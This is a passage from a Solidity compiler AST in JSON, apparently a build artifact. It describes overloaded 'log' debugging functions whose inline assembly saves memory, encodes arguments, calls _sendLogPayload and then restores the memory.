:{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38764,"mutability":"mutable","name":"p2","nameLocation":"154809:2:22","nodeType":"VariableDeclaration","scope":38810,"src":"154801:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38763,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154801:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38766,"mutability":"mutable","name":"p3","nameLocation":"154821:2:22","nodeType":"VariableDeclaration","scope":38810,"src":"154813:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38765,"name":"bytes32","nodeType":"ElementaryTypeName","src":"154813:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"154776:48:22"},"returnParameters":{"id":38768,"nodeType":"ParameterList","parameters":[],"src":"154839:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38844,"nodeType":"FunctionDefinition","src":"156508:786:22","nodes":[],"body":{"id":38843,"nodeType":"Block","src":"156580:714:22","nodes":[],"statements":[{"assignments":[38822],"declarations":[{"constant":false,"id":38822,"mutability":"mutable","name":"m0","nameLocation":"156598:2:22","nodeType":"VariableDeclaration","scope":38843,"src":"156590:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38821,"name":"bytes32","nodeType":"ElementaryTypeName","src":"156590:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38823,"nodeType":"VariableDeclarationStatement","src":"156590:10:22"},{"assignments":[38825],"declarations":[{"constant":false,"id":38825,"mutability":"mutable","name":"m1","nameLocation":"156618:2:22","nodeType":"VariableDeclaration","scope":38843,"src":"156610:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38824,"name":"bytes32","nodeType":"ElementaryTypeName","src":"156610:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38826,"nodeType":"VariableDeclarationStatement","src":"156610:10:22"},{"assignments":[38828],"declarations":[{"constant":false,"id":38828,"mutability":"mutable","name":"m2","nameLocation":"156638:2:22","nodeType":"VariableDeclaration","scope":38843,"src":"156630:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38827,"name":"bytes32","nodeType":"ElementaryTypeName","src":"156630:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38829,"nodeType":"VariableDeclarationStatement","src":"156630:10:22"},{"assignments":[38831],"declarations":[{"constant":false,"id":38831,"mutability":"mutable","name":"m3","nameLocation":"156658:2:22","nodeType":"VariableDeclaration","scope":38843,"src":"156650:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38830,"name":"bytes32","nodeType":"ElementaryTypeName","src":"156650:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38832,"nodeType":"VariableDeclarationStatement","src":"156650:10:22"},{"assignments":[38834],"declarations":[{"constant":false,"id":38834,"mutability":"mutable","name":"m4","nameLocation":"156678:2:22","nodeType":"VariableDeclaration","scope":38843,"src":"156670:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38833,"name":"bytes32","nodeType":"ElementaryTypeName","src":"156670:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38835,"nodeType":"VariableDeclarationStatement","src":"156670:10:22"},{"AST":{"nativeSrc":"156699:378:22","nodeType":"YulBlock","src":"156699:378:22","statements":[{"nativeSrc":"156713:17:22","nodeType":"YulAssignment","src":"156713:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"156725:4:22","nodeType":"YulLiteral","src":"156725:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"156719:5:22","nodeType":"YulIdentifier","src":"156719:5:22"},"nativeSrc":"156719:11:22","nodeType":"YulFunctionCall","src":"156719:11:22"},"variableNames":[{"name":"m0","nativeSrc":"156713:2:22","nodeType":"YulIdentifier","src":"156713:2:22"}]},{"nativeSrc":"156743:17:22","nodeType":"YulAssignment","src":"156743:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"156755:4:22","nodeType":"YulLiteral","src":"156755:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"156749:5:22","nodeType":"YulIdentifier","src":"156749:5:22"},"nativeSrc":"156749:11:22","nodeType":"YulFunctionCall","src":"156749:11:22"},"variableNames":[{"name":"m1","nativeSrc":"156743:2:22","nodeType":"YulIdentifier","src":"156743:2:22"}]},{"nativeSrc":"156773:17:22","nodeType":"YulAssignment","src":"156773:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"156785:4:22","nodeType":"YulLiteral","src":"156785:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"156779:5:22","nodeType":"YulIdentifier","src":"156779:5:22"},"nativeSrc":"156779:11:22","nodeType":"YulFunctionCall","src":"156779:11:22"},"variableNames":[{"name":"m2","nativeSrc":"156773:2:22","nodeType":"YulIdentifier","src":"156773:2:22"}]},{"nativeSrc":"156803:17:22","nodeType":"YulAssignment","src":"156803:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"156815:4:22","nodeType":"YulLiteral","src":"156815:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"156809:5:22","nodeType":"YulIdentifier","src":"156809:5:22"},"nativeSrc":"156809:11:22","nodeType":"YulFunctionCall","src":"156809:11:22"},"variableNames":[{"name":"m3","nativeSrc":"156803:2:22","nodeType":"YulIdentifier","src":"156803:2:22"}]},{"nativeSrc":"156833:17:22","nodeType":"YulAssignment","src":"156833:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"156845:4:22","nodeType":"YulLiteral","src":"156845:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"156839:5:22","nodeType":"YulIdentifier","src":"156839:5:22"},"nativeSrc":"156839:11:22","nodeType":"YulFunctionCall","src":"156839:11:22"},"variableNames":[{"name":"m4","nativeSrc":"156833:2:22","nodeType":"YulIdentifier","src":"156833:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156934:4:22","nodeType":"YulLiteral","src":"156934:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"156940:10:22","nodeType":"YulLiteral","src":"156940:10:22","type":"","value":"0x1d14d001"}],"functionName":{"name":"mstore","nativeSrc":"156927:6:22","nodeType":"YulIdentifier","src":"156927:6:22"},"nativeSrc":"156927:24:22","nodeType":"YulFunctionCall","src":"156927:24:22"},"nativeSrc":"156927:24:22","nodeType":"YulExpressionStatement","src":"156927:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"156971:4:22","nodeType":"YulLiteral","src":"156971:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"156977:2:22","nodeType":"YulIdentifier","src":"156977:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156964:6:22","nodeType":"YulIdentifier","src":"156964:6:22"},"nativeSrc":"156964:16:22","nodeType":"YulFunctionCall","src":"156964:16:22"},"nativeSrc":"156964:16:22","nodeType":"YulExpressionStatement","src":"156964:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157000:4:22","nodeType":"YulLiteral","src":"157000:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"157006:2:22","nodeType":"YulIdentifier","src":"157006:2:22"}],"functionName":{"name":"mstore","nativeSrc":"156993:6:22","nodeType":"YulIdentifier","src":"156993:6:22"},"nativeSrc":"156993:16:22","nodeType":"YulFunctionCall","src":"156993:16:22"},"nativeSrc":"156993:16:22","nodeType":"YulExpressionStatement","src":"156993:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157029:4:22","nodeType":"YulLiteral","src":"157029:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"157035:2:22","nodeType":"YulIdentifier","src":"157035:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157022:6:22","nodeType":"YulIdentifier","src":"157022:6:22"},"nativeSrc":"157022:16:22","nodeType":"YulFunctionCall","src":"157022:16:22"},"nativeSrc":"157022:16:22","nodeType":"YulExpressionStatement","src":"157022:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157058:4:22","nodeType":"YulLiteral","src":"157058:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"157064:2:22","nodeType":"YulIdentifier","src":"157064:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157051:6:22","nodeType":"YulIdentifier","src":"157051:6:22"},"nativeSrc":"157051:16:22","nodeType":"YulFunctionCall","src":"157051:16:22"},"nativeSrc":"157051:16:22","nodeType":"YulExpressionStatement","src":"157051:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38822,"isOffset":false,"isSlot":false,"src":"156713:2:22","valueSize":1},{"declaration":38825,"isOffset":false,"isSlot":false,"src":"156743:2:22","valueSize":1},{"declaration":38828,"isOffset":false,"isSlot":false,"src":"156773:2:22","valueSize":1},{"declaration":38831,"isOffset":false,"isSlot":false,"src":"156803:2:22","valueSize":1},{"declaration":38834,"isOffset":false,"isSlot":false,"src":"156833:2:22","valueSize":1},{"declaration":38812,"isOffset":false,"isSlot":false,"src":"156977:2:22","valueSize":1},{"declaration":38814,"isOffset":false,"isSlot":false,"src":"157006:2:22","valueSize":1},{"declaration":38816,"isOffset":false,"isSlot":false,"src":"157035:2:22","valueSize":1},{"declaration":38818,"isOffset":false,"isSlot":false,"src":"157064:2:22","valueSize":1}],"id":38836,"nodeType":"InlineAssembly","src":"156690:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38838,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"157102:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":38839,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"157108:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":38837,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"157086:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38840,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"157086:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38841,"nodeType":"ExpressionStatement","src":"157086:27:22"},{"AST":{"nativeSrc":"157132:156:22","nodeType":"YulBlock","src":"157132:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"157153:4:22","nodeType":"YulLiteral","src":"157153:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"157159:2:22","nodeType":"YulIdentifier","src":"157159:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157146:6:22","nodeType":"YulIdentifier","src":"157146:6:22"},"nativeSrc":"157146:16:22","nodeType":"YulFunctionCall","src":"157146:16:22"},"nativeSrc":"157146:16:22","nodeType":"YulExpressionStatement","src":"157146:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157182:4:22","nodeType":"YulLiteral","src":"157182:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"157188:2:22","nodeType":"YulIdentifier","src":"157188:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157175:6:22","nodeType":"YulIdentifier","src":"157175:6:22"},"nativeSrc":"157175:16:22","nodeType":"YulFunctionCall","src":"157175:16:22"},"nativeSrc":"157175:16:22","nodeType":"YulExpressionStatement","src":"157175:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157211:4:22","nodeType":"YulLiteral","src":"157211:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"157217:2:22","nodeType":"YulIdentifier","src":"157217:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157204:6:22","nodeType":"YulIdentifier","src":"157204:6:22"},"nativeSrc":"157204:16:22","nodeType":"YulFunctionCall","src":"157204:16:22"},"nativeSrc":"157204:16:22","nodeType":"YulExpressionStatement","src":"157204:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157240:4:22","nodeType":"YulLiteral","src":"157240:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"157246:2:22","nodeType":"YulIdentifier","src":"157246:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157233:6:22","nodeType":"YulIdentifier","src":"157233:6:22"},"nativeSrc":"157233:16:22","nodeType":"YulFunctionCall","src":"157233:16:22"},"nativeSrc":"157233:16:22","nodeType":"YulExpressionStatement","src":"157233:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157269:4:22","nodeType":"YulLiteral","src":"157269:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"157275:2:22","nodeType":"YulIdentifier","src":"157275:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157262:6:22","nodeType":"YulIdentifier","src":"157262:6:22"},"nativeSrc":"157262:16:22","nodeType":"YulFunctionCall","src":"157262:16:22"},"nativeSrc":"157262:16:22","nodeType":"YulExpressionStatement","src":"157262:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38822,"isOffset":false,"isSlot":false,"src":"157159:2:22","valueSize":1},{"declaration":38825,"isOffset":false,"isSlot":false,"src":"157188:2:22","valueSize":1},{"declaration":38828,"isOffset":false,"isSlot":false,"src":"157217:2:22","valueSize":1},{"declaration":38831,"isOffset":false,"isSlot":false,"src":"157246:2:22","valueSize":1},{"declaration":38834,"isOffset":false,"isSlot":false,"src":"157275:2:22","valueSize":1}],"id":38842,"nodeType":"InlineAssembly","src":"157123:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"156517:3:22","parameters":{"id":38819,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38812,"mutability":"mutable","name":"p0","nameLocation":"156526:2:22","nodeType":"VariableDeclaration","scope":38844,"src":"156521:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38811,"name":"bool","nodeType":"ElementaryTypeName","src":"156521:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38814,"mutability":"mutable","name":"p1","nameLocation":"156538:2:22","nodeType":"VariableDeclaration","scope":38844,"src":"156530:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38813,"name":"address","nodeType":"ElementaryTypeName","src":"156530:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38816,"mutability":"mutable","name":"p2","nameLocation":"156550:2:22","nodeType":"VariableDeclaration","scope":38844,"src":"156542:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38815,"name":"address","nodeType":"ElementaryTypeName","src":"156542:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38818,"mutability":"mutable","name":"p3","nameLocation":"156562:2:22","nodeType":"VariableDeclaration","scope":38844,"src":"156554:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38817,"name":"address","nodeType":"ElementaryTypeName","src":"156554:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"156520:45:22"},"returnParameters":{"id":38820,"nodeType":"ParameterList","parameters":[],"src":"156580:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38878,"nodeType":"FunctionDefinition","src":"157300:780:22","nodes":[],"body":{"id":38877,"nodeType":"Block","src":"157369:711:22","nodes":[],"statements":[{"assignments":[38856],"declarations":[{"constant":false,"id":38856,"mutability":"mutable","name":"m0","nameLocation":"157387:2:22","nodeType":"VariableDeclaration","scope":38877,"src":"157379:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38855,"name":"bytes32","nodeType":"ElementaryTypeName","src":"157379:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38857,"nodeType":"VariableDeclarationStatement","src":"157379:10:22"},{"assignments":[38859],"declarations":[{"constant":false,"id":38859,"mutability":"mutable","name":"m1","nameLocation":"157407:2:22","nodeType":"VariableDeclaration","scope":38877,"src":"157399:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38858,"name":"bytes32","nodeType":"ElementaryTypeName","src":"157399:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38860,"nodeType":"VariableDeclarationStatement","src":"157399:10:22"},{"assignments":[38862],"declarations":[{"constant":false,"id":38862,"mutability":"mutable","name":"m2","nameLocation":"157427:2:22","nodeType":"VariableDeclaration","scope":38877,"src":"157419:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38861,"name":"bytes32","nodeType":"ElementaryTypeName","src":"157419:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38863,"nodeType":"VariableDeclarationStatement","src":"157419:10:22"},{"assignments":[38865],"declarations":[{"constant":false,"id":38865,"mutability":"mutable","name":"m3","nameLocation":"157447:2:22","nodeType":"VariableDeclaration","scope":38877,"src":"157439:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38864,"name":"bytes32","nodeType":"ElementaryTypeName","src":"157439:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38866,"nodeType":"VariableDeclarationStatement","src":"157439:10:22"},{"assignments":[38868],"declarations":[{"constant":false,"id":38868,"mutability":"mutable","name":"m4","nameLocation":"157467:2:22","nodeType":"VariableDeclaration","scope":38877,"src":"157459:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38867,"name":"bytes32","nodeType":"ElementaryTypeName","src":"157459:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38869,"nodeType":"VariableDeclarationStatement","src":"157459:10:22"},{"AST":{"nativeSrc":"157488:375:22","nodeType":"YulBlock","src":"157488:375:22","statements":[{"nativeSrc":"157502:17:22","nodeType":"YulAssignment","src":"157502:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"157514:4:22","nodeType":"YulLiteral","src":"157514:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"157508:5:22","nodeType":"YulIdentifier","src":"157508:5:22"},"nativeSrc":"157508:11:22","nodeType":"YulFunctionCall","src":"157508:11:22"},"variableNames":[{"name":"m0","nativeSrc":"157502:2:22","nodeType":"YulIdentifier","src":"157502:2:22"}]},{"nativeSrc":"157532:17:22","nodeType":"YulAssignment","src":"157532:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"157544:4:22","nodeType":"YulLiteral","src":"157544:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"157538:5:22","nodeType":"YulIdentifier","src":"157538:5:22"},"nativeSrc":"157538:11:22","nodeType":"YulFunctionCall","src":"157538:11:22"},"variableNames":[{"name":"m1","nativeSrc":"157532:2:22","nodeType":"YulIdentifier","src":"157532:2:22"}]},{"nativeSrc":"157562:17:22","nodeType":"YulAssignment","src":"157562:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"157574:4:22","nodeType":"YulLiteral","src":"157574:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"157568:5:22","nodeType":"YulIdentifier","src":"157568:5:22"},"nativeSrc":"157568:11:22","nodeType":"YulFunctionCall","src":"157568:11:22"},"variableNames":[{"name":"m2","nativeSrc":"157562:2:22","nodeType":"YulIdentifier","src":"157562:2:22"}]},{"nativeSrc":"157592:17:22","nodeType":"YulAssignment","src":"157592:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"157604:4:22","nodeType":"YulLiteral","src":"157604:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"157598:5:22","nodeType":"YulIdentifier","src":"157598:5:22"},"nativeSrc":"157598:11:22","nodeType":"YulFunctionCall","src":"157598:11:22"},"variableNames":[{"name":"m3","nativeSrc":"157592:2:22","nodeType":"YulIdentifier","src":"157592:2:22"}]},{"nativeSrc":"157622:17:22","nodeType":"YulAssignment","src":"157622:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"157634:4:22","nodeType":"YulLiteral","src":"157634:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"157628:5:22","nodeType":"YulIdentifier","src":"157628:5:22"},"nativeSrc":"157628:11:22","nodeType":"YulFunctionCall","src":"157628:11:22"},"variableNames":[{"name":"m4","nativeSrc":"157622:2:22","nodeType":"YulIdentifier","src":"157622:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157720:4:22","nodeType":"YulLiteral","src":"157720:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"157726:10:22","nodeType":"YulLiteral","src":"157726:10:22","type":"","value":"0x46600be0"}],"functionName":{"name":"mstore","nativeSrc":"157713:6:22","nodeType":"YulIdentifier","src":"157713:6:22"},"nativeSrc":"157713:24:22","nodeType":"YulFunctionCall","src":"157713:24:22"},"nativeSrc":"157713:24:22","nodeType":"YulExpressionStatement","src":"157713:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157757:4:22","nodeType":"YulLiteral","src":"157757:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"157763:2:22","nodeType":"YulIdentifier","src":"157763:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157750:6:22","nodeType":"YulIdentifier","src":"157750:6:22"},"nativeSrc":"157750:16:22","nodeType":"YulFunctionCall","src":"157750:16:22"},"nativeSrc":"157750:16:22","nodeType":"YulExpressionStatement","src":"157750:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157786:4:22","nodeType":"YulLiteral","src":"157786:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"157792:2:22","nodeType":"YulIdentifier","src":"157792:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157779:6:22","nodeType":"YulIdentifier","src":"157779:6:22"},"nativeSrc":"157779:16:22","nodeType":"YulFunctionCall","src":"157779:16:22"},"nativeSrc":"157779:16:22","nodeType":"YulExpressionStatement","src":"157779:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157815:4:22","nodeType":"YulLiteral","src":"157815:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"157821:2:22","nodeType":"YulIdentifier","src":"157821:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157808:6:22","nodeType":"YulIdentifier","src":"157808:6:22"},"nativeSrc":"157808:16:22","nodeType":"YulFunctionCall","src":"157808:16:22"},"nativeSrc":"157808:16:22","nodeType":"YulExpressionStatement","src":"157808:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157844:4:22","nodeType":"YulLiteral","src":"157844:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"157850:2:22","nodeType":"YulIdentifier","src":"157850:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157837:6:22","nodeType":"YulIdentifier","src":"157837:6:22"},"nativeSrc":"157837:16:22","nodeType":"YulFunctionCall","src":"157837:16:22"},"nativeSrc":"157837:16:22","nodeType":"YulExpressionStatement","src":"157837:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38856,"isOffset":false,"isSlot":false,"src":"157502:2:22","valueSize":1},{"declaration":38859,"isOffset":false,"isSlot":false,"src":"157532:2:22","valueSize":1},{"declaration":38862,"isOffset":false,"isSlot":false,"src":"157562:2:22","valueSize":1},{"declaration":38865,"isOffset":false,"isSlot":false,"src":"157592:2:22","valueSize":1},{"declaration":38868,"isOffset":false,"isSlot":false,"src":"157622:2:22","valueSize":1},{"declaration":38846,"isOffset":false,"isSlot":false,"src":"157763:2:22","valueSize":1},{"declaration":38848,"isOffset":false,"isSlot":false,"src":"157792:2:22","valueSize":1},{"declaration":38850,"isOffset":false,"isSlot":false,"src":"157821:2:22","valueSize":1},{"declaration":38852,"isOffset":false,"isSlot":false,"src":"157850:2:22","valueSize":1}],"id":38870,"nodeType":"InlineAssembly","src":"157479:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38872,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"157888:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":38873,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"157894:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":38871,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"157872:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38874,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"157872:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38875,"nodeType":"ExpressionStatement","src":"157872:27:22"},{"AST":{"nativeSrc":"157918:156:22","nodeType":"YulBlock","src":"157918:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"157939:4:22","nodeType":"YulLiteral","src":"157939:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"157945:2:22","nodeType":"YulIdentifier","src":"157945:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157932:6:22","nodeType":"YulIdentifier","src":"157932:6:22"},"nativeSrc":"157932:16:22","nodeType":"YulFunctionCall","src":"157932:16:22"},"nativeSrc":"157932:16:22","nodeType":"YulExpressionStatement","src":"157932:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157968:4:22","nodeType":"YulLiteral","src":"157968:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"157974:2:22","nodeType":"YulIdentifier","src":"157974:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157961:6:22","nodeType":"YulIdentifier","src":"157961:6:22"},"nativeSrc":"157961:16:22","nodeType":"YulFunctionCall","src":"157961:16:22"},"nativeSrc":"157961:16:22","nodeType":"YulExpressionStatement","src":"157961:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"157997:4:22","nodeType":"YulLiteral","src":"157997:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"158003:2:22","nodeType":"YulIdentifier","src":"158003:2:22"}],"functionName":{"name":"mstore","nativeSrc":"157990:6:22","nodeType":"YulIdentifier","src":"157990:6:22"},"nativeSrc":"157990:16:22","nodeType":"YulFunctionCall","src":"157990:16:22"},"nativeSrc":"157990:16:22","nodeType":"YulExpressionStatement","src":"157990:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158026:4:22","nodeType":"YulLiteral","src":"158026:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"158032:2:22","nodeType":"YulIdentifier","src":"158032:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158019:6:22","nodeType":"YulIdentifier","src":"158019:6:22"},"nativeSrc":"158019:16:22","nodeType":"YulFunctionCall","src":"158019:16:22"},"nativeSrc":"158019:16:22","nodeType":"YulExpressionStatement","src":"158019:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"158055:4:22","nodeType":"YulLiteral","src":"158055:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"158061:2:22","nodeType":"YulIdentifier","src":"158061:2:22"}],"functionName":{"name":"mstore","nativeSrc":"158048:6:22","nodeType":"YulIdentifier","src":"158048:6:22"},"nativeSrc":"158048:16:22","nodeType":"YulFunctionCall","src":"158048:16:22"},"nativeSrc":"158048:16:22","nodeType":"YulE